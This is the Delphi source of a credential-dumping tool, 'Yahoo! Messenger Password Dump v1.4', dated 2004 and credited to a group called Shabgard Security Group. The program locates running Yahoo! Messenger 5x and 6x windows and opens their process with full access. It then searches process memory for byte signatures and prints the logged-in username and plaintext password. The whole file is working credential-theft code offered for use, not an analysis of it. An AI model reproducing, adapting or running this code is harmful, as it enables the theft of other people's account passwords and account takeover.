{
Yahoo Messenger Universal PW Dump
vulnerable : All versions of Yahoo! Messenger 5x-6x
http://messenger.yahoo.com/
by : Magic_h2001
Compile with Delphi 5/6/7
THX to : --Elite--
.:: Shabgard Security Group ::.
www.shabgard.org
}

Program YDump;
{$APPTYPE CONSOLE}
uses windows;

const SignUser6x:array[0..5] of byte=($74,$41,$53,$6A,$01,$68);
      SignUser5x:array[0..6] of byte=($01,$00,$00,$FF,$75,$08,$B9);
      SignPass6x:array[0..3] of byte=($00,$8D,$41,$74);
      SignPass5x:array[0..4] of byte=($59,$8B,$F8,$57,$B9);

var  DeskTopHwnd,Yahoo:HWND;
     ClassY:array [0..255] of char;
     Yfound:boolean;
     G_Text:String;

function IsY6x(YHandle:THandle):boolean;
begin
 Result:=FindWindowEx(YHandle,0,'YTopWindow',NIL)<>0;
end;

function YahooDump(YHwnd:THandle; Sign:array of byte; IsUser:boolean;
                   Is6x:boolean; var GText:string):boolean;
Const StartCode=$400000; EndCode=StartCode+$3FFFFF;
      BUFFMAX=1024;
var
  Y_Pid,Y_Proc : THandle;
  BytesRead,Adr,Founds,x,y,SignCount,Cnt : Cardinal;
  Buffer : array[0..BUFFMAX-1] of byte;
  TXT:array[0..63] of byte;
  GetEn:DWORD;
  SSS:string;
begin
 SignCount:=(high(Sign)-low(Sign)+1);
 Result:=false; GText:='';
 Adr:=StartCode;
 Founds:=0; SSS:='';
 GetWindowThreadProcessId (YHwnd,@Y_Pid);
 Y_proc:=OpenProcess (PROCESS_ALL_ACCESS,false,Y_Pid);
 if Y_Proc=0 then Exit;
 try
 repeat
   ReadProcessMemory(Y_Proc, pointer(Adr), @Buffer[0], SizeOf(Buffer), BytesRead);
   if BytesRead<=0 then break;
   x:=0;
   repeat
     If Buffer[x]=Sign[founds] then begin
       founds:=founds+1;
       if founds=SignCount then begin
         if IsUser then begin
           if Is6x then begin
             ReadProcessMemory(Y_Proc, pointer((((Adr+x)-signcount)+1)+6), @GetEn, 4, Cnt);
           end
           else begin
             ReadProcessMemory(Y_Proc, pointer((((Adr+x)-signcount)+1)+7), @GetEn, 4, Cnt);
             GetEn:=GetEn+4;
           end;
         end
         else begin
           if Is6x then begin
             ReadProcessMemory(Y_Proc, pointer((((Adr+x)-signcount)+1)-$0A), @GetEn, 4, Cnt);
             ReadProcessMemory(Y_Proc, pointer(GetEn), @GetEn, 4, Cnt);
             GetEn:=GetEn+$74;
           end
           else begin
             ReadProcessMemory(Y_Proc, pointer((((Adr+x)-signcount)+1)+5), @GetEn, 4, Cnt);
             GetEn:=GetEn+4;
           end
         end;
       ReadProcessMemory(Y_Proc, Pointer(GetEn), @TXT, 64 ,Cnt);
       for y:=0 to 3 do begin
         if not(TXT[y] in[0,32..126]) then begin
           ReadProcessMemory(Y_Proc, pointer(GetEn), @GetEn, 4, Cnt);
           ReadProcessMemory(Y_Proc, Pointer(GetEn), @TXT, 64 ,Cnt);
         end;
       end;
       for y:=0 to 63 do begin
         if TXT[y]=0 then break;
         SSS:=SSS+char(TXT[y]);
       end;
       GTEXT:=SSS;
       Result:=True;
       Exit;
       end;
     end
     else
     begin
         if x>0 then x:=x-founds;
         founds:=0;
     end;
     x:=x+1;
   until x=BytesRead;
   Adr:=Adr+BytesRead;
 until (BytesRead=0) or (Adr > EndCode);
 finally
  CloseHandle(Y_proc);
 end;
end;

begin
 Yfound:=false;
 DeskTopHwnd := GetDeskTopWindow;
 Yahoo:=GetWindow(DeskTopHwnd,GW_CHILD);
 writeln;
 writeln('-------------------------------------------------------');
 writeln('Yahoo! Messenger Password Dump v1.4 - 24/08/2004');
 writeln('For all versions of Yahoo! Messenger');
 writeln('Coded by : Magic_h2001 -  ');
 writeln('Source Code released on : 16/03/2005');
 writeln('Tested on : win9x - me - 2k - xp all SPs !');
 writeln;
 writeln('.:: Shabgard Security Group ::.');
 writeln('    http://www.shabgard.org');
 writeln('    http://www.shabgard.org/forums');
 writeln('    http://magic.shabgard.org');
 writeln('-------------------------------------------------------');
 While Yahoo <> 0 do begin
   GetClassName(Yahoo,ClassY,sizeof(ClassY));
   if string(classY)='YahooBuddyMain' then begin
     G_Text:='';
     Yfound:=true;
     if IsY6x(Yahoo) then begin
       writeln('Yahoo=6x');
       YahooDump(Yahoo,SignUser6x,true, IsY6x(Yahoo),G_Text);
       writeln('User=',G_Text);
       YahooDump(Yahoo,SignPass6x,false,IsY6x(Yahoo),G_Text);
       writeln('Pass=',G_Text);
     end
     else begin
       writeln('Yahoo=5x');
       YahooDump(Yahoo,SignUser5x,true, IsY6x(Yahoo),G_Text);
       writeln('User=',G_Text);
       YahooDump(Yahoo,SignPass5x,false,IsY6x(Yahoo),G_Text);
       writeln('Pass=',G_Text);
     end;
     writeln('-------------------------------------------------------');
   end;
   Yahoo:=GetWindow(Yahoo,GW_HWNDNEXT);
 end;
 if not Yfound then begin
  writeln;
  writeln('Not found any Yahoo! Messenger in Memory !!!');
  writeln;
 end;
 readln;
end.